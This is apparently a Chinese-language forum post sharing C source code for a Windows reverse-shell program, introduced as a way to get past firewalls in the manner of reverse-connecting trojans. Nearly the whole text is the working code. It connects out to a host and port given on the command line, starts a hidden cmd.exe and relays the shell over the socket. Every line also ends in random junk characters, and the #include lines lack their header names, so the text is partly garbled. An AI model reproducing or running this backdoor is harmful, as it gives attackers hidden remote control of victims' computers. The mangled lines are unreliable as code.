这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^mPPyT ,(
|:[9O`U)s
/* ============================== zG9|K
Rebound port in Windows NT
9
[Y-M
By wind,2006/7 $g\&5sstE
===============================*/ 0b-?q&*_
#include d7Ro}>lp
#include wij,N(,H
GjT#%GBF
#pragma comment(lib,"wsock32.lib") FN87^.^2S
*@S@x{{s
void OutputShell(); ^vni&sJ
SOCKET sClient; wEEn?
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0^l%j 8/
L^0v\
void main(int argc,char **argv) +t!S'|C
{ ?S[Y:<R{:
WSADATA stWsaData; QU5Sy oL[
int nRet; >fs2kha
SOCKADDR_IN stSaiClient,stSaiServer; iEHh{H(
ERz;H!pU8
if(argc != 3) (-^bj
{ gS9>N/b|
printf("Useage:\n\rRebound DestIP DestPort\n"); gK1g]Tc @G
return; !iu5OX7K|
} |+f-h,
4<S'
WSAStartup(MAKEWORD(2,2),&stWsaData); _elX<o4
x\\7G^$<h
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6 "gj!/e
Akk
3 Qx
stSaiClient.sin_family = AF_INET; :0~QRc-u
stSaiClient.sin_port = htons(0); \;9W.d1iU
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1=)r@X/6d
UT]?;o"
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) -4 Ux,9&
{ /n{1o\
printf("Bind Socket Failed!\n"); `=)2<Ca;~@
return; r@}bDkx
} 9Sg<K)Mc
>hsuAU.UOR
stSaiServer.sin_family = AF_INET; [~mGsXV
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F jrINxL7^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %JL];
4'
KtN&,C )lJ
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w=_Jc8/.
{ 4
J^Q]-Z
printf("Connect Error!"); k4\UK#ODe
return; 4{na+M
} S\x=&R z
OutputShell(); p9[6^rjx8
} >s EjR!
Frm;Ej3?$
void OutputShell() .qD@
Y3-
{ p3x?[Ww
char szBuff[1024]; yi6N-7
SECURITY_ATTRIBUTES stSecurityAttributes; `wz[='yM
OSVERSIONINFO stOsversionInfo; E5GJi
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZCui Fm
STARTUPINFO stStartupInfo; O[q\ e<V<
char *szShell; VG@};dwbz*
PROCESS_INFORMATION stProcessInformation; 6[P-Ny{z
unsigned long lBytesRead; 6^F'|Wh
q!lP"J
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P,xwSvO#M
&Z^(y}jPr
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9^ed-h
Bf
stSecurityAttributes.lpSecurityDescriptor = 0; KG9t3<-`
stSecurityAttributes.bInheritHandle = TRUE; zc+@lJy
gwB\<rzG
msx-O=4g
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yW7'?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l|`^*%W@u6
Snw3`|Y~<
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2.I^Xf2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &9[P-w;7u
stStartupInfo.wShowWindow = SW_HIDE; n D6G
stStartupInfo.hStdInput = hReadPipe; PX
O!t]*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >t+
qe/
S;\R!%t_
GetVersionEx(&stOsversionInfo); F`+\>ae$h
hsNWqk qys
switch(stOsversionInfo.dwPlatformId) J ++v@4Z
{ Qst$S} n
case 1: oF:v
JDSS
szShell = "command.com"; X ]j)+DX>
break; _F(P*[[&
default: Nn6S
8kc
szShell = "cmd.exe"; H=c`&N7E
break; ;O#g"8
} cu9Qwm
v4vf}.L]
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qa'gM@]
s95F#>dr
send(sClient,szMsg,77,0); sH#X0fG
while(1) _=f=f cl
{ epD?K
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b'p4wE>
if(lBytesRead) "jg@w%~
{ " {dek
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #CUzuk&
send(sClient,szBuff,lBytesRead,0); QV|>4 ^1D
} [:;# ]?
else ?;ukvD
{ -.I4-6~
lBytesRead=recv(sClient,szBuff,1024,0); h) (*q+a
if(lBytesRead<=0) break; #(;<-7M2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v1G"3fy9
} TV59(bG.2
} 7N8H)X
J1ON,&[J
return; BzJ;%ywS
}